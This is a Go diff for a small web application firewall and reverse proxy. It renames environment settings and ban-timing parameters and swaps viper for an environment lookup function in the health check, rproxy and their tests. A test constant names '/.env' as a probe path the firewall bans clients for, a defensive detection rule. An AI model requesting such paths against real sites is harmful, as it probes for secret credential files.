var bansDue <-chan time.Time // nil while no ban waits to be written
|
var bansDue <-chan time.Time // nil while no ban waits to be written
|
||||||
@@ -335,7 +329,7 @@ func (f *Files) Run(ctx context.Context) {
|
|||||||
return
|
return
|
||||||
case <-f.params.Ledger.Changed():
|
case <-f.params.Ledger.Changed():
|
||||||
if bansDue == nil {
|
if bansDue == nil {
|
||||||
bansDue = time.After(f.params.BansWriteDelay)
|
bansDue = time.After(f.params.WriteDelay)
|
||||||
}
|
}
|
||||||
case <-bansDue:
|
case <-bansDue:
|
||||||
bansDue = nil
|
bansDue = nil
|
||||||
@@ -1507,7 +1501,7 @@ func write(dir, name string, data []byte) error {
|
|||||||
|
|
||||||
// syncDirectory syncs dir to the disk, so that a rename in it lasts.
|
// syncDirectory syncs dir to the disk, so that a rename in it lasts.
|
||||||
func syncDirectory(dir string) error {
|
func syncDirectory(dir string) error {
|
||||||
//nolint:gosec // SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR itself
|
//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
|
||||||
directory, err := os.Open(dir)
|
directory, err := os.Open(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -1518,7 +1512,7 @@ func syncDirectory(dir string) error {
|
|||||||
|
|
||||||
// writeSynced writes data to the file at path, and syncs it to the disk.
|
// writeSynced writes data to the file at path, and syncs it to the disk.
|
||||||
func writeSynced(path string, data []byte) error {
|
func writeSynced(path string, data []byte) error {
|
||||||
//nolint:gosec // a file's temporary file, in SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR
|
//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR
|
||||||
file, err := os.OpenFile(
|
file, err := os.OpenFile(
|
||||||
path,
|
path,
|
||||||
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
|
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
|
||||||
|
|||||||
@@ -1239,7 +1239,7 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
|||||||
filepath.Join(t.TempDir(), "missing"),
|
filepath.Join(t.TempDir(), "missing"),
|
||||||
notADirectory,
|
notADirectory,
|
||||||
} {
|
} {
|
||||||
const want = "SWW_WAF_STATE_DIR cannot be written: "
|
const want = "SWW_STATE_DIR cannot be written: "
|
||||||
|
|
||||||
_, err := state.Load(newParams(dir))
|
_, err := state.Load(newParams(dir))
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||||
@@ -1251,7 +1251,7 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const wantCache = "SWW_WAF_CACHE_DIR cannot be written: "
|
const wantCache = "SWW_CACHE_DIR cannot be written: "
|
||||||
|
|
||||||
params := newParams(t.TempDir())
|
params := newParams(t.TempDir())
|
||||||
params.CacheDir = dir
|
params.CacheDir = dir
|
||||||
@@ -1273,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
|||||||
// returns once Run waits for its next write, so that every write due by
|
// returns once Run waits for its next write, so that every write due by
|
||||||
// then is on disk.
|
// then is on disk.
|
||||||
|
|
||||||
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.BansWriteDelay = 10 * time.Second
|
params.WriteDelay = 10 * time.Second
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A second ban, made while the first waits to be written, puts the
|
// A second ban, made while the first waits to be written, puts the
|
||||||
@@ -1318,19 +1318,19 @@ func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
|||||||
// the second ban. The other files wait for the interval, an hour
|
// the second ban. The other files wait for the interval, an hour
|
||||||
// away.
|
// away.
|
||||||
removeFiles(t, dir, bansJSON)
|
removeFiles(t, dir, bansJSON)
|
||||||
time.Sleep(params.BansWriteDelay)
|
time.Sleep(params.WriteDelay)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFiles(t, dir)
|
wantFiles(t, dir)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
|
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.WriteInterval = time.Minute
|
params.CounterInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// The files are removed once written, so that each interval shows
|
// The files are removed once written, so that each interval shows
|
||||||
@@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.BansWriteDelay = 10 * time.Second
|
params.WriteDelay = 10 * time.Second
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A ban, and bans.json written with it.
|
// A ban, and bans.json written with it.
|
||||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(), bans.Notes{})
|
midnight(), bans.Notes{})
|
||||||
time.Sleep(params.BansWriteDelay)
|
time.Sleep(params.WriteDelay)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
// A second ban is to be written BansWriteDelay later. Just before
|
// A second ban is to be written WriteDelay later. Just before
|
||||||
// then, an admin saves bans.json with the first ban lifted and
|
// then, an admin saves bans.json with the first ban lifted and
|
||||||
// another added.
|
// another added.
|
||||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
midnight(), bans.Notes{})
|
midnight(), bans.Notes{})
|
||||||
time.Sleep(params.BansWriteDelay - time.Nanosecond)
|
time.Sleep(params.WriteDelay - time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
edit(t, dir, bansJSON, permanentBansJSON)
|
edit(t, dir, bansJSON, permanentBansJSON)
|
||||||
|
|
||||||
@@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.WriteInterval = time.Minute
|
params.CounterInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A directory in the way of the temporary file of clients.json, a
|
// A directory in the way of the temporary file of clients.json, a
|
||||||
@@ -2406,12 +2406,12 @@ func newParams(dir string) state.Params {
|
|||||||
return state.Params{
|
return state.Params{
|
||||||
Dir: dir,
|
Dir: dir,
|
||||||
CacheDir: dir,
|
CacheDir: dir,
|
||||||
BansWriteDelay: time.Hour,
|
WriteDelay: time.Hour,
|
||||||
WriteInterval: time.Hour,
|
CounterInterval: time.Hour,
|
||||||
Ledger: bans.New(bans.Params{
|
Ledger: bans.New(bans.Params{
|
||||||
LimitBanDuration: time.Hour,
|
LimitBanDuration: time.Hour,
|
||||||
LimitBanRepeatWindow: 24 * time.Hour,
|
LimitBanRepeatWindow: 24 * time.Hour,
|
||||||
LimitBanPermanentAbove: 7 * 24 * time.Hour,
|
MaxBanDuration: 7 * 24 * time.Hour,
|
||||||
AttackBanDuration: 7 * 24 * time.Hour,
|
AttackBanDuration: 7 * 24 * time.Hour,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}),
|
}),
|
||||||
@@ -2447,7 +2447,7 @@ func newParams(dir string) state.Params {
|
|||||||
RequestsPerMinute: 1000,
|
RequestsPerMinute: 1000,
|
||||||
BytesPerMinute: 1 << 30,
|
BytesPerMinute: 1 << 30,
|
||||||
},
|
},
|
||||||
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
|
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
NetV6Prefix: 48,
|
NetV6Prefix: 48,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
|
|||||||
+17
-13
@@ -10,8 +10,6 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
@@ -23,10 +21,10 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
|||||||
|
|
||||||
// HealthCheck is the container's health check. In waf's container, where
|
// HealthCheck is the container's health check. In waf's container, where
|
||||||
// SWW_COMMAND is waf, it returns 0 while waf answers its health
|
// SWW_COMMAND is waf, it returns 0 while waf answers its health
|
||||||
// endpoint on 127.0.0.1, at the port in SWW_WAF_LISTEN_ADDR. In rproxy's container,
|
// endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container,
|
||||||
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
||||||
// answers its health endpoint on 127.0.0.1, at the port in SWW_RPROXY_LISTEN_ADDR, and
|
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
|
||||||
// the app accepts connections at the address in SWW_RPROXY_UPSTREAM_URL. Otherwise,
|
// the app accepts connections at the address in SWRP_UPSTREAM_URL. Otherwise,
|
||||||
// any other value of SWW_COMMAND included, it writes why to stderr and
|
// any other value of SWW_COMMAND included, it writes why to stderr and
|
||||||
// returns 1. It reads no other setting, nor a file that another names, so neither
|
// returns 1. It reads no other setting, nor a file that another names, so neither
|
||||||
// can fail it.
|
// can fail it.
|
||||||
@@ -35,7 +33,7 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
|||||||
func HealthCheck(
|
func HealthCheck(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
args []string,
|
args []string,
|
||||||
v *viper.Viper,
|
lookupEnv func(string) (string, bool),
|
||||||
stderr io.Writer,
|
stderr io.Writer,
|
||||||
) int {
|
) int {
|
||||||
if len(args) > 0 {
|
if len(args) > 0 {
|
||||||
@@ -48,15 +46,15 @@ func HealthCheck(
|
|||||||
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
|
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
command, err := config.Command(v)
|
command, err := config.Command(lookupEnv)
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case err != nil:
|
case err != nil:
|
||||||
err = fmt.Errorf("invalid setting: %w", err)
|
err = fmt.Errorf("invalid setting: %w", err)
|
||||||
case command == "waf":
|
case command == "waf":
|
||||||
err = checkWAF(ctx, v)
|
err = checkWAF(ctx, lookupEnv)
|
||||||
default:
|
default:
|
||||||
err = checkRProxyAndApp(ctx, v)
|
err = checkRProxyAndApp(ctx, lookupEnv)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -69,8 +67,10 @@ func HealthCheck(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkWAF asks waf's health endpoint.
|
// checkWAF asks waf's health endpoint.
|
||||||
func checkWAF(ctx context.Context, v *viper.Viper) error {
|
func checkWAF(
|
||||||
listenAddr, err := config.WAFListenAddr(v)
|
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
|
) error {
|
||||||
|
listenAddr, err := config.WAFListenAddr(lookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
@@ -84,8 +84,12 @@ func checkWAF(ctx context.Context, v *viper.Viper) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
|
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
|
||||||
func checkRProxyAndApp(ctx context.Context, v *viper.Viper) error {
|
func checkRProxyAndApp(
|
||||||
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(v)
|
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
|
) error {
|
||||||
|
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
|
||||||
|
lookupEnv,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -35,7 +34,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
}
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
@@ -55,9 +54,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
// or invalid token file, or an invalid value of another setting, does not
|
// or invalid token file, or an invalid value of another setting, does not
|
||||||
// fail it.
|
// fail it.
|
||||||
for _, other := range []struct{ name, value string }{
|
for _, other := range []struct{ name, value string }{
|
||||||
{"SWW_WAF_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
|
{"SWW_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
|
||||||
{"SWW_WAF_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
|
{"SWW_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
|
||||||
{"SWW_WAF_MODE", "neither"},
|
{"SWW_MODE", "neither"},
|
||||||
} {
|
} {
|
||||||
wantHealthCheck(t, map[string]string{
|
wantHealthCheck(t, map[string]string{
|
||||||
commandSetting: wafCommand,
|
commandSetting: wafCommand,
|
||||||
@@ -73,7 +72,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
}, 1, "unhealthy: ask waf: ")
|
}, 1, "unhealthy: ask waf: ")
|
||||||
wantHealthCheck(t, map[string]string{
|
wantHealthCheck(t, map[string]string{
|
||||||
commandSetting: wafCommand, listenAddr: "8080",
|
commandSetting: wafCommand, listenAddr: "8080",
|
||||||
}, 1, "unhealthy: invalid setting: SWW_WAF_LISTEN_ADDR: ")
|
}, 1, "unhealthy: invalid setting: SWW_LISTEN_ADDR: ")
|
||||||
|
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
@@ -119,13 +118,8 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
// Another setting does not fail it, even an invalid one, and neither does
|
// Another setting does not fail it, even an invalid one, and neither does
|
||||||
// SWW_RPROXY_WAF_BACKEND being unset.
|
// SWRP_WAF_BACKEND being unset.
|
||||||
wantHealthCheck(
|
wantHealthCheck(t, settings("SWRP_TIMEOUT_MS", "soon"), 0, "")
|
||||||
t,
|
|
||||||
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
|
|
||||||
0,
|
|
||||||
"",
|
|
||||||
)
|
|
||||||
|
|
||||||
// Another test can take a closed server's port at once, so the app's
|
// Another test can take a closed server's port at once, so the app's
|
||||||
// address here is a multicast address, to which TCP cannot connect.
|
// address here is a multicast address, to which TCP cannot connect.
|
||||||
@@ -141,14 +135,13 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
"unhealthy: ask rproxy: ",
|
"unhealthy: ask rproxy: ",
|
||||||
)
|
)
|
||||||
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
||||||
"unhealthy: invalid setting: SWW_RPROXY_LISTEN_ADDR: ")
|
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
|
||||||
|
|
||||||
// A setting of rproxy's can be given as a file too, here the listen
|
// No setting of rproxy's has a form given as a file.
|
||||||
// address, which the health check reads.
|
|
||||||
wantHealthCheck(t, map[string]string{
|
wantHealthCheck(t, map[string]string{
|
||||||
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
|
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
|
||||||
rproxyUpstreamURL: app.URL,
|
rproxyUpstreamURL: app.URL,
|
||||||
}, 0, "")
|
}, 1, "unhealthy: ask rproxy: ")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
|
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
|
||||||
@@ -164,12 +157,11 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
|
|||||||
|
|
||||||
var stderr bytes.Buffer
|
var stderr bytes.Buffer
|
||||||
|
|
||||||
got := sww.HealthCheck(
|
noSettings := func(string) (string, bool) {
|
||||||
t.Context(),
|
return "", false
|
||||||
[]string{"now"},
|
}
|
||||||
configtest.Viper(nil),
|
|
||||||
&stderr,
|
got := sww.HealthCheck(t.Context(), []string{"now"}, noSettings, &stderr)
|
||||||
)
|
|
||||||
|
|
||||||
want := "sww healthcheck: unexpected argument \"now\"\n"
|
want := "sww healthcheck: unexpected argument \"now\"\n"
|
||||||
if got != 1 || stderr.String() != want {
|
if got != 1 || stderr.String() != want {
|
||||||
@@ -191,7 +183,16 @@ func wantHealthCheck(
|
|||||||
|
|
||||||
var stderr bytes.Buffer
|
var stderr bytes.Buffer
|
||||||
|
|
||||||
got := sww.HealthCheck(t.Context(), nil, configtest.Viper(env), &stderr)
|
got := sww.HealthCheck(
|
||||||
|
t.Context(),
|
||||||
|
nil,
|
||||||
|
func(name string) (string, bool) {
|
||||||
|
value, ok := env[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
|
&stderr,
|
||||||
|
)
|
||||||
|
|
||||||
wrote := stderr.String()
|
wrote := stderr.String()
|
||||||
if got != status || !strings.HasPrefix(wrote, message) ||
|
if got != status || !strings.HasPrefix(wrote, message) ||
|
||||||
|
|||||||
@@ -15,11 +15,10 @@ import (
|
|||||||
|
|
||||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||||
// requests until ctx is done. Then it gives the requests in progress
|
// requests until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and the reports being sent
|
// shutdownTimeout to finish, and the reports being sent SWRP_TIMEOUT_MS. It
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||||
// when rproxy cannot start. Its process messages name the host's name as
|
// messages name the host's name as instance, and it writes those at info or
|
||||||
// instance, and it writes those at info or more severe: rproxy has no
|
// more severe: rproxy has no setting for either.
|
||||||
// setting for either.
|
|
||||||
func RunRProxy(ctx context.Context, params Params) int {
|
func RunRProxy(ctx context.Context, params Params) int {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(
|
||||||
@@ -28,7 +27,7 @@ func RunRProxy(ctx context.Context, params Params) int {
|
|||||||
slog.LevelInfo,
|
slog.LevelInfo,
|
||||||
)
|
)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(params.Viper)
|
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("invalid setting", "error", err.Error())
|
processLog.Error("invalid setting", "error", err.Error())
|
||||||
|
|
||||||
@@ -44,7 +43,7 @@ func RunRProxy(ctx context.Context, params Params) int {
|
|||||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error(
|
processLog.Error(
|
||||||
"cannot listen on SWW_RPROXY_LISTEN_ADDR",
|
"cannot listen on SWRP_LISTEN_ADDR",
|
||||||
"error",
|
"error",
|
||||||
err.Error(),
|
err.Error(),
|
||||||
)
|
)
|
||||||
|
|||||||
+25
-23
@@ -19,20 +19,19 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// wafBackend is the setting that names waf to rproxy.
|
// wafBackend is the setting that names waf to rproxy.
|
||||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWRP_WAF_BACKEND"
|
||||||
// rproxyListenAddr is the setting that says where rproxy listens.
|
// rproxyListenAddr is the setting that says where rproxy listens.
|
||||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListenAddr = "SWRP_LISTEN_ADDR"
|
||||||
// rproxyUpstreamURL is the setting that says where the app is.
|
// rproxyUpstreamURL is the setting that says where the app is.
|
||||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstreamURL = "SWRP_UPSTREAM_URL"
|
||||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||||
// bannedProbe is a path the default rule file bans a client for.
|
// bannedProbe is a path the default rule file bans a client for.
|
||||||
bannedProbe = "/.env"
|
bannedProbe = "/.env"
|
||||||
// otherClient is a client the tests do not ban.
|
// otherClient is a client the tests do not ban.
|
||||||
@@ -44,7 +43,11 @@ const (
|
|||||||
func runRProxy(ctx context.Context, env map[string]string, out *output) int {
|
func runRProxy(ctx context.Context, env map[string]string, out *output) int {
|
||||||
return sww.RunRProxy(ctx, sww.Params{
|
return sww.RunRProxy(ctx, sww.Params{
|
||||||
Version: testVersion,
|
Version: testVersion,
|
||||||
Viper: configtest.Viper(env),
|
LookupEnv: func(name string) (string, bool) {
|
||||||
|
value, ok := env[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
Stdout: out,
|
Stdout: out,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -62,8 +65,8 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
go func() {
|
go func() {
|
||||||
exited <- runRProxy(ctx, map[string]string{
|
exited <- runRProxy(ctx, map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWRP_UPSTREAM_URL": appURL,
|
||||||
"SWW_RPROXY_TRUSTED_PROXIES": localhost + "/32",
|
"SWRP_TRUSTED_PROXIES": localhost + "/32",
|
||||||
wafBackend: backend,
|
wafBackend: backend,
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
@@ -137,7 +140,7 @@ func wafSettings(t *testing.T) map[string]string {
|
|||||||
return map[string]string{
|
return map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -241,13 +244,12 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
|||||||
forwardTo("")
|
forwardTo("")
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
// With waf down, the site answers, and rproxy says
|
// With waf down, the site answers, and rproxy says the default did it.
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
|
||||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||||
|
|
||||||
line := out.line(t, "path", "/after-stop")
|
line := out.line(t, "path", "/after-stop")
|
||||||
if line["disposition"] != waf.DispositionAllow ||
|
if line["disposition"] != waf.DispositionAllow ||
|
||||||
line["waf_backend_no_answer"] != true {
|
line["default_disposition"] != true {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -476,7 +478,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "path", "admin")
|
line := out.line(t, "path", "admin")
|
||||||
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
if line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("rproxy's line is %v, want no disposition", line)
|
t.Errorf("rproxy's line is %v, want no disposition", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -497,7 +499,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "path", bannedProbe)
|
line := out.line(t, "path", bannedProbe)
|
||||||
if line["client_ip"] != "2001:db8::1" ||
|
if line["client_ip"] != "2001:db8::1" ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -555,7 +557,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
commandForMain+"=rproxy",
|
commandForMain+"=rproxy",
|
||||||
"SWW_RPROXY_LISTEN_ADDR="+localhost+":0")
|
"SWRP_LISTEN_ADDR="+localhost+":0")
|
||||||
cmd.Env = append(cmd.Env, env...)
|
cmd.Env = append(cmd.Env, env...)
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
exited := startProcess(t, cmd)
|
||||||
@@ -613,7 +615,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
|
|
||||||
addr, _ := startRProxyProcess(t,
|
addr, _ := startRProxyProcess(t,
|
||||||
wafBackend+"="+backend.URL,
|
wafBackend+"="+backend.URL,
|
||||||
"SWW_RPROXY_UPSTREAM_URL="+startApp(t),
|
"SWRP_UPSTREAM_URL="+startApp(t),
|
||||||
"SSL_CERT_FILE="+certificates)
|
"SSL_CERT_FILE="+certificates)
|
||||||
|
|
||||||
for name, headers := range map[string]string{
|
for name, headers := range map[string]string{
|
||||||
@@ -691,8 +693,8 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
"SWRP_UPSTREAM_URL": startApp(t),
|
||||||
wafBackendTimeout: "60000",
|
rproxyTimeout: "60000",
|
||||||
wafBackend: backend.URL,
|
wafBackend: backend.URL,
|
||||||
}
|
}
|
||||||
out := &output{}
|
out := &output{}
|
||||||
@@ -771,7 +773,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
|
|
||||||
const (
|
const (
|
||||||
cutOffAfter = 5 * time.Second
